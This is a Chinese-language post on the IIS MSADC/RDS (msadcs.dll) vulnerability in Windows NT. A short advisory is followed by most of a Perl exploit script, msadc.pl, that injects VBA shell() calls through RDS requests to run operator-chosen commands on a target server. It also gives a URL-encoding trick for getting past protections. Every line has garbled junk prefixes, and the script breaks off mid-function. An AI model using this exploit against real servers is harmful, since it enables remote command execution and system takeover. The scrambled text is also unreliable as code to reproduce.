IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
n.RhA-O ;i>E@ 涉及程序:
|lV9?#! Microsoft NT server
W|U1AXU7/ edx'p`%d5 描述:
n`xh/vGm# 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
E2D8s=r qw1J{xoHW 详细:
F JhVbAMd 如果你没有时间读详细内容的话,就删除:
!*6z=:J c:\Program Files\Common Files\System\Msadc\msadcs.dll
4&fnu/,Z 有关的安全问题就没有了。
{fD#= Al}PJz\ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
ze N!*VG O]eJQ4XN< 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Mk?I} 关于利用ODBC远程漏洞的描述,请参看:
Lm#d.AD)
F-0PmO~3+W http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm or`stBx |'_<(z 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
[rU8
#4.
http://www.microsoft.com/security/bulletins/MS99-025faq.asp i]pG}SJ "~
stZ. 这里不再论述。
@un
}&URp +to9].O7y 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
8 GN{*Hg MDt?7c /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
c\MDOD%9 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
\-w s[ 1H7Q[ 2E d.oFlT #将下面这段保存为txt文件,然后: "perl -x 文件名"
^iS:mt ,$$$_+m\ #!perl
}4%)m #
!H\GHA'DO] # MSADC/RDS 'usage' (aka exploit) script
.+h
pxZ #
[zEP| # by rain.forest.puppy
.
*xq = #
;jI"|v{vnS # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
"\?G # beta test and find errors!
W=]",< z-gG( use Socket; use Getopt::Std;
~W{h-z%q getopts("e:vd:h:XR", \%args);
v*'\w#
Qe.kNdT+_ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
^?[<!VBI cLC7U?- if (!defined $args{h} && !defined $args{R}) {
E,yK` mPp^ print qq~
VTfaZ/e. Usage: msadc.pl -h <host> { -d <delay> -X -v }
d<nB=r!* -h <host> = host you want to scan (ip or domain)
olh3 R.M< -d <seconds> = delay between calls, default 1 second
\w[%n 0 -X = dump Index Server path table, if available
|/s2AzDD -v = verbose
[d>yo_iB -e = external dictionary file for step 5
~')t1Ays F6VIH( Or a -R will resume a command session
\ZZy`/~z*7 rd4'y~#S ~; exit;}
yt:V+qdv 5>Yd\(`K $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
gi@ji-10 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
o;_bs~}y if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
N~_jiVD> if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
6*33k'=;F $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
_O9H._E if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
$OoN/^kv ld:alEo if (!defined $args{R}){ $ret = &has_msadc;
?4Juw? die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
2_b'mepV %v:h]TA print "Please type the NT commandline you want to run (cmd /c assumed):\n"
K/m)f# . "cmd /c ";
UVUO}B@[S $in=<STDIN>; chomp $in;
z>;+'>XXgx $command="cmd /c " . $in ;
X$Vz Go7hDmu if (defined $args{R}) {&load; exit;}
5?0gC&WfN ]GKx[F{) print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
)'`AX\ &try_btcustmr;
_k.bGYldk _x1[$A,GuB print "\nStep 2: Trying to make our own DSN...";
N4|q2Jvj6 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
,!u@:UBT i9k]Q(o print "\nStep 3: Trying known DSNs...";
X`QW(rq &known_dsn;
?$4R < bMOM`At>z print "\nStep 4: Trying known .mdbs...";
|hQ|'VCN &known_mdb;
HKN"$(Q qpqz. {\ if (defined $args{e}){
810<1NP
print "\nStep 5: Trying dictionary of DSN names...";
3N0X?* (x| &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
kS#DKo q)xl$*g print "Sorry Charley...maybe next time?\n";
nYt\e]3 exit;
T&"dBoUq>G _D,f4.R ##############################################################################
mX.3R+t VD3MJ 8!w sub sendraw { # ripped and modded from whisker
mKQST ]5 sleep($delay); # it's a DoS on the server! At least on mine...
yZ)aKwj%U my ($pstr)=@_;
|abst&yp socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
U3+_'" die("Socket problems\n");
VN-#R=D if(connect(S,pack "SnA4x8",2,80,$target)){
aevG<|qP select(S); $|=1;
05VOUa*pb print $pstr; my @in=<S>;
BI.k On= select(STDOUT); close(S);
Dke($Jr{ return @in;
V0
+k3H } else { die("Can't connect...\n"); }}
6aZt4Lw2\ /,N!g_"Z ##############################################################################
>dvWa-rNUT Bx : So6: sub make_header { # make the HTTP request
'BdmFKy1 my $msadc=<<EOT
^!p<zZ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
+[8Kl=]L User-Agent: ACTIVEDATA
Y!1^@;)^ Host: $ip
Q] yT Content-Length: $clen
C6V&R1" s Connection: Keep-Alive
X$|TN+Ub !eAdm ADCClientVersion:01.06
kbp(
a+5 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
={E!8" ml33qXW: --!ADM!ROX!YOUR!WORLD!
^&';\O@) Content-Type: application/x-varg
_[vdY|_ Content-Length: $reqlen
Lr}b, syW9Hlm EOT
DkF2R @ ; $msadc=~s/\n/\r\n/g;
`KJYm|@ i return $msadc;}
{[t"O u Z~phOv ##############################################################################
FO(0D?PCR 7?!Z+r sub make_req { # make the RDS request
j*La,iF my ($switch, $p1, $p2)=@_;
k4F"UG-` my $req=""; my $t1, $t2, $query, $dsn;
[X">vaa 1u"*09yZd if ($switch==1){ # this is the btcustmr.mdb query
2~&hstd% $query="Select * from Customers where City=" . make_shell();
5hH6G $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
AXh3LA $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
M o"JV Jm(&G elsif ($switch==2){ # this is general make table query
0gOrW= $query="create table AZZ (B int, C varchar(10))";
bxhg*A $dsn="$p1";}
yLgKS8b 2}Z4a\YX elsif ($switch==3){ # this is general exploit table query
',H$zA?i $query="select * from AZZ where C=" . make_shell();
42J';\)oP $dsn="$p1";}
1ntkM? !V]MLA` elsif ($switch==4){ # attempt to hork file info from index server
L;--d`[ $query="select path from scope()";
v :+8U[x $dsn="Provider=MSIDXS;";}
N;x<| %peL LE<u&9I\ elsif ($switch==5){ # bad query
fZ6 fV=HEF $query="select";
.mT#%ex $dsn="$p1";}
"0'*q<8 \>Ga-gv6/ $t1= make_unicode($query);
/K,|k
EE'n $t2= make_unicode($dsn);
s!hI:$J. $req = "\x02\x00\x03\x00";
lLkmcHu $req.= "\x08\x00" . pack ("S1", length($t1));
||=[kjG~ $req.= "\x00\x00" . $t1 ;
Wm$`ae
$req.= "\x08\x00" . pack ("S1", length($t2));
2B9i R $req.= "\x00\x00" . $t2 ;
ovDJ{3L6O $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
z
_O,Y return $req;}
2 ]V>J ."IJmv ##############################################################################
aVQSN z#{0;t sub make_shell { # this makes the shell() statement
0;FqX* return "'|shell(\"$command\")|'";}
Gin_E&%g q[)q|R| ##############################################################################
97(Xu=tX
hg?j)jl| sub make_unicode { # quick little function to convert to unicode
<}EV*`w4 my ($in)=@_; my $out;
B?;' lDz* for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
5?5-;H return $out;}
wc7mJxJxA FJ{,=@ ##############################################################################
n^iNo z/Ns5 sub rdo_success { # checks for RDO return success (this is kludge)
>~5lYD my (@in) = @_; my $base=content_start(@in);
g|K6iY if($in[$base]=~/multipart\/mixed/){
*2,e=tY> return 1 if( $in[$base+10]=~/^\x09\x00/ );}
^"O{o8l>2 return 0;}
TvunjTpaj UCn*UX ##############################################################################
h"%|\o+3 Ew
%{ i(d sub make_dsn { # this makes a DSN for us
%XP_\lu] my @drives=("c","d","e","f");
]6t]m2~\ print "\nMaking DSN: ";
G$;]
?g foreach $drive (@drives) {
qIbg
4uE print "$drive: ";
~A`&/U my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
HzRX$IKB3( "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
O{k89{ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
[=F>#8= $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
W.,% 0cZ return 0 if $2 eq "404"; # not found/doesn't exist
bp]^EVx if($2 eq "200") {
t&GA6ML#s foreach $line (@results) {
9VoDhsKk return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
`z|=~ } return 0;}
pk-yj~F } NP K#].F ##############################################################################
;wij}y-6 2;r]gT~ sub verify_exists {
\{c,,th my ($page)=@_;
Gb(C#,xbK my @results=sendraw("GET $page HTTP/1.0\n\n");
nG"tO'J6 return $results[0];}
r]A"Og_U }P<Qz^sr_ ##############################################################################
1~}m.ER )uQ-YC('0 sub try_btcustmr {
(^sh my @drives=("c","d","e","f");
]y3pE}R my @dirs=("winnt","winnt35","winnt351","win","windows");
8tb6 gZz yicO!:bM foreach $dir (@dirs) {
)Y3EQxXa print "$dir -> "; # fun status so you can see progress
-O|&